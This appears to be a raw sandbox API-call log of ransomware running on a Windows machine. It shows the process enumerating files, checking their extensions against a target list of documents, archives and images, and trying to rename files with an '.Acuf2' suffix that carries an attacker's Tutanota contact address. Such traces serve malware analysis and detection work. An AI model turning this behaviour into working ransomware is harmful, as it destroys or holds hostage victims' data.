	[0251.290] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv") returned 77
	[0251.290] lstrlenW (lpString=".doc") returned 4
	[0251.290] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1
	[0251.290] lstrlenW (lpString=".docx") returned 5
	[0251.290] lstrcmpiW (lpString1=".docx", lpString2="e.wmv") returned -1
	[0251.290] lstrlenW (lpString=".pdf") returned 4
	[0251.290] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1
	[0251.290] lstrlenW (lpString=".xls") returned 4
	[0251.291] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1
	[0251.291] lstrlenW (lpString=".xlsx") returned 5
	[0251.291] lstrcmpiW (lpString1=".xlsx", lpString2="e.wmv") returned -1
	[0251.291] lstrlenW (lpString=".ppt") returned 4
	[0251.291] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1
	[0251.291] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv") returned 77
	[0251.291] lstrlenW (lpString=".zip") returned 4
	[0251.291] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1
	[0251.291] lstrlenW (lpString=".rar") returned 4
	[0251.291] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1
	[0251.291] lstrlenW (lpString=".bz2") returned 4
	[0251.291] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1
	[0251.291] lstrlenW (lpString=".7z") returned 3
	[0251.291] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1
	[0251.291] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv") returned 77
	[0251.291] lstrlenW (lpString=".dbf") returned 4
	[0251.291] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1
	[0251.291] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv") returned 77
	[0251.291] lstrlenW (lpString=".1cd") returned 4
	[0251.291] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1
	[0251.291] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv") returned 77
	[0251.291] lstrlenW (lpString=".jpg") returned 4
	[0251.291] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1
	[0251.291] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv") returned 77
	[0251.291] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv") returned 77
	[0251.291] lstrlenW (lpString=".doc") returned 4
	[0251.291] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1
	[0251.291] lstrlenW (lpString=".docx") returned 5
	[0251.291] lstrcmpiW (lpString1=".docx", lpString2="e.wmv") returned -1
	[0251.291] lstrlenW (lpString=".pdf") returned 4
	[0251.291] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1
	[0251.291] lstrlenW (lpString=".xls") returned 4
	[0251.292] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1
	[0251.292] lstrlenW (lpString=".xlsx") returned 5
	[0251.292] lstrcmpiW (lpString1=".xlsx", lpString2="e.wmv") returned -1
	[0251.292] lstrlenW (lpString=".ppt") returned 4
	[0251.292] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1
	[0251.292] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv") returned 77
	[0251.292] lstrlenW (lpString=".zip") returned 4
	[0251.292] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1
	[0251.292] lstrlenW (lpString=".rar") returned 4
	[0251.292] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1
	[0251.292] lstrlenW (lpString=".bz2") returned 4
	[0251.292] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1
	[0251.292] lstrlenW (lpString=".7z") returned 3
	[0251.292] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1
	[0251.292] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv") returned 77
	[0251.292] lstrlenW (lpString=".dbf") returned 4
	[0251.292] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1
	[0251.292] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv") returned 77
	[0251.292] lstrlenW (lpString=".1cd") returned 4
	[0251.292] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1
	[0251.292] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv") returned 77
	[0251.292] lstrlenW (lpString=".jpg") returned 4
	[0251.292] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1
	[0251.292] lstrcmpiW (lpString1=".png", lpString2=".Acuf2") returned 1
	[0251.292] lstrlenW (lpString="NavigationLeft_SelectionSubpicture.png") returned 38
	[0251.292] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0251.308] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=3130) returned 1
	[0251.310] CloseHandle (hObject=0x28c) returned 1
	[0251.322] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png")) returned 0x20
	[0251.326] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0251.333] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.333] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png") returned 96
	[0251.333] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png") returned 96
	[0251.333] lstrlenW (lpString=".doc") returned 4
	[0251.333] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1
	[0251.333] lstrlenW (lpString=".docx") returned 5
	[0251.333] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1
	[0251.333] lstrlenW (lpString=".pdf") returned 4
	[0251.333] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1
	[0251.333] lstrlenW (lpString=".xls") returned 4
	[0251.333] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1
	[0251.333] lstrlenW (lpString=".xlsx") returned 5
	[0251.333] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1
	[0251.333] lstrlenW (lpString=".ppt") returned 4
	[0251.333] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1
	[0251.333] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png") returned 96
	[0251.333] lstrlenW (lpString=".zip") returned 4
	[0251.333] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1
	[0251.333] lstrlenW (lpString=".rar") returned 4
	[0251.333] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1
	[0251.333] lstrlenW (lpString=".bz2") returned 4
	[0251.333] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1
	[0251.333] lstrlenW (lpString=".7z") returned 3
	[0251.333] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1
	[0251.333] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png") returned 96
	[0251.333] lstrlenW (lpString=".dbf") returned 4
	[0251.333] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1
	[0251.333] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png") returned 96
	[0251.333] lstrlenW (lpString=".1cd") returned 4
	[0251.333] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1
	[0251.333] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png") returned 96
	[0251.334] lstrlenW (lpString=".jpg") returned 4
	[0251.334] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1
	[0251.334] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png") returned 96
	[0251.334] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png") returned 96
	[0251.334] lstrlenW (lpString=".doc") returned 4
	[0251.334] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1
	[0251.334] lstrlenW (lpString=".docx") returned 5
	[0251.334] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1
	[0251.334] lstrlenW (lpString=".pdf") returned 4
	[0251.334] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1
	[0251.334] lstrlenW (lpString=".xls") returned 4
	[0251.334] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1
	[0251.334] lstrlenW (lpString=".xlsx") returned 5
	[0251.334] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1
	[0251.334] lstrlenW (lpString=".ppt") returned 4
	[0251.334] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1
	[0251.334] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png") returned 96
	[0251.334] lstrlenW (lpString=".zip") returned 4
	[0251.334] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1
	[0251.334] lstrlenW (lpString=".rar") returned 4
	[0251.334] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1
	[0251.334] lstrlenW (lpString=".bz2") returned 4
	[0251.334] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1
	[0251.334] lstrlenW (lpString=".7z") returned 3
	[0251.334] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1
	[0251.334] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png") returned 96
	[0251.334] lstrlenW (lpString=".dbf") returned 4
	[0251.334] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1
	[0251.334] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png") returned 96
	[0251.334] lstrlenW (lpString=".1cd") returned 4
	[0251.335] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1
	[0251.335] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png") returned 96
	[0251.335] lstrlenW (lpString=".jpg") returned 4
	[0251.335] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1
	[0251.335] lstrcmpiW (lpString1=".png", lpString2=".Acuf2") returned 1
	[0251.335] lstrlenW (lpString="TitleButtonSubpicture.png") returned 25
	[0251.335] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0251.477] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=132) returned 1
	[0251.477] CloseHandle (hObject=0x28c) returned 1
	[0251.477] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonsubpicture.png")) returned 0x20
	[0251.477] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonsubpicture.png.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0251.477] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.477] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png") returned 81
	[0251.478] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png") returned 81
	[0251.478] lstrlenW (lpString=".doc") returned 4
	[0251.478] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1
	[0251.478] lstrlenW (lpString=".docx") returned 5
	[0251.478] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1
	[0251.478] lstrlenW (lpString=".pdf") returned 4
	[0251.478] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1
	[0251.478] lstrlenW (lpString=".xls") returned 4
	[0251.478] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1
	[0251.478] lstrlenW (lpString=".xlsx") returned 5
	[0251.478] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1
	[0251.478] lstrlenW (lpString=".ppt") returned 4
	[0251.478] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1
	[0251.478] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png") returned 81
	[0251.478] lstrlenW (lpString=".zip") returned 4
	[0251.478] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1
	[0251.478] lstrlenW (lpString=".rar") returned 4
	[0251.478] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1
	[0251.478] lstrlenW (lpString=".bz2") returned 4
	[0251.478] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1
	[0251.478] lstrlenW (lpString=".7z") returned 3
	[0251.478] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1
	[0251.478] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png") returned 81
	[0251.478] lstrlenW (lpString=".dbf") returned 4
	[0251.478] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1
	[0251.478] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png") returned 81
	[0251.478] lstrlenW (lpString=".1cd") returned 4
	[0251.478] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1
	[0251.478] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png") returned 81
	[0251.478] lstrlenW (lpString=".jpg") returned 4
	[0251.479] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1
	[0251.479] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png") returned 81
	[0251.479] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png") returned 81
	[0251.479] lstrlenW (lpString=".doc") returned 4
	[0251.479] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1
	[0251.479] lstrlenW (lpString=".docx") returned 5
	[0251.479] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1
	[0251.479] lstrlenW (lpString=".pdf") returned 4
	[0251.479] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1
	[0251.479] lstrlenW (lpString=".xls") returned 4
	[0251.479] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1
	[0251.479] lstrlenW (lpString=".xlsx") returned 5
	[0251.479] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1
	[0251.479] lstrlenW (lpString=".ppt") returned 4
	[0251.479] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1
	[0251.479] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png") returned 81
	[0251.479] lstrlenW (lpString=".zip") returned 4
	[0251.479] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1
	[0251.479] lstrlenW (lpString=".rar") returned 4
	[0251.479] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1
	[0251.479] lstrlenW (lpString=".bz2") returned 4
	[0251.479] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1
	[0251.479] lstrlenW (lpString=".7z") returned 3
	[0251.479] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1
	[0251.479] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png") returned 81
	[0251.479] lstrlenW (lpString=".dbf") returned 4
	[0251.479] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1
	[0251.479] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png") returned 81
	[0251.479] lstrlenW (lpString=".1cd") returned 4
	[0251.479] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1
	[0251.479] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png") returned 81
	[0251.480] lstrlenW (lpString=".jpg") returned 4
	[0251.480] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1
	[0251.480] lstrcmpiW (lpString1=".wmv", lpString2=".Acuf2") returned 1
	[0251.480] lstrlenW (lpString="Title_Page.wmv") returned 14
	[0251.480] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0251.481] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=1741316) returned 1
	[0251.481] CloseHandle (hObject=0x28c) returned 1
	[0251.481] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv")) returned 0x20
	[0251.481] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0251.481] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0251.481] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv") returned 70
	[0251.481] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv") returned 70
	[0251.481] lstrlenW (lpString=".doc") returned 4
	[0251.481] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1
	[0251.481] lstrlenW (lpString=".docx") returned 5
	[0251.481] lstrcmpiW (lpString1=".docx", lpString2="e.wmv") returned -1
	[0251.481] lstrlenW (lpString=".pdf") returned 4
	[0251.481] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1
	[0251.481] lstrlenW (lpString=".xls") returned 4
	[0251.481] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1
	[0251.481] lstrlenW (lpString=".xlsx") returned 5
	[0251.481] lstrcmpiW (lpString1=".xlsx", lpString2="e.wmv") returned -1
	[0251.481] lstrlenW (lpString=".ppt") returned 4
	[0251.481] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1
	[0251.481] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv") returned 70
	[0251.481] lstrlenW (lpString=".zip") returned 4
	[0251.482] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1
	[0251.482] lstrlenW (lpString=".rar") returned 4
	[0251.482] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1
	[0251.482] lstrlenW (lpString=".bz2") returned 4
	[0251.482] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1
	[0251.482] lstrlenW (lpString=".7z") returned 3
	[0251.482] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1
	[0251.482] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv") returned 70
	[0251.482] lstrlenW (lpString=".dbf") returned 4
	[0251.482] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1
	[0251.482] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv") returned 70
	[0251.482] lstrlenW (lpString=".1cd") returned 4
	[0251.482] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1
	[0251.482] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv") returned 70
	[0251.482] lstrlenW (lpString=".jpg") returned 4
	[0251.482] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1
	[0251.482] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv") returned 70
	[0251.482] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv") returned 70
	[0251.482] lstrlenW (lpString=".doc") returned 4
	[0251.482] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1
	[0251.482] lstrlenW (lpString=".docx") returned 5
	[0251.482] lstrcmpiW (lpString1=".docx", lpString2="e.wmv") returned -1
	[0251.482] lstrlenW (lpString=".pdf") returned 4
	[0251.482] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1
	[0251.482] lstrlenW (lpString=".xls") returned 4
	[0251.482] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1
	[0251.482] lstrlenW (lpString=".xlsx") returned 5
	[0251.482] lstrcmpiW (lpString1=".xlsx", lpString2="e.wmv") returned -1
	[0251.482] lstrlenW (lpString=".ppt") returned 4
	[0251.483] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1
	[0251.483] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv") returned 70
	[0251.483] lstrlenW (lpString=".zip") returned 4
	[0251.483] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1
	[0251.483] lstrlenW (lpString=".rar") returned 4
	[0251.483] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1
	[0251.483] lstrlenW (lpString=".bz2") returned 4
	[0251.483] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1
	[0251.483] lstrlenW (lpString=".7z") returned 3
	[0251.483] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1
	[0251.483] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv") returned 70
	[0251.483] lstrlenW (lpString=".dbf") returned 4
	[0251.483] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1
	[0251.483] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv") returned 70
	[0251.483] lstrlenW (lpString=".1cd") returned 4
	[0251.483] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1
	[0251.483] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv") returned 70
	[0251.483] lstrlenW (lpString=".jpg") returned 4
	[0251.483] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1
	[0251.483] lstrcmpiW (lpString1=".wmv", lpString2=".Acuf2") returned 1
	[0251.483] lstrlenW (lpString="Title_Page_PAL.wmv") returned 18
	[0251.483] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0251.484] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=1901316) returned 1
	[0251.484] CloseHandle (hObject=0x28c) returned 1
	[0251.484] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv")) returned 0x20
	[0251.484] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0251.484] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0251.484] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv") returned 74
	[0251.484] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv") returned 74
	[0251.484] lstrlenW (lpString=".doc") returned 4
	[0251.484] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1
	[0251.484] lstrlenW (lpString=".docx") returned 5
	[0251.484] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1
	[0251.484] lstrlenW (lpString=".pdf") returned 4
	[0251.484] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1
	[0251.484] lstrlenW (lpString=".xls") returned 4
	[0251.484] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1
	[0251.484] lstrlenW (lpString=".xlsx") returned 5
	[0251.484] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1
	[0251.484] lstrlenW (lpString=".ppt") returned 4
	[0251.484] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1
